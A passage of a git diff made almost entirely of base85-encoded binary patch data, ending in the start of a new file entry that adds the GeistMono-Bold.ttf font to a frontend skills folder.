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 AbN~PV literal 0 HcmV?d00001 diff --git a/skills/frontend-dev/canvas-fonts/GeistMono-Bold.ttf b/skills/frontend-dev/canvas-fonts/GeistMono-Bold.ttf new file mode 100644 index 0000000000000000000000000000000000000000..736ff7c3b1483081322cacc7c64e0995b52d8af6 GIT binary patch literal 78304 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 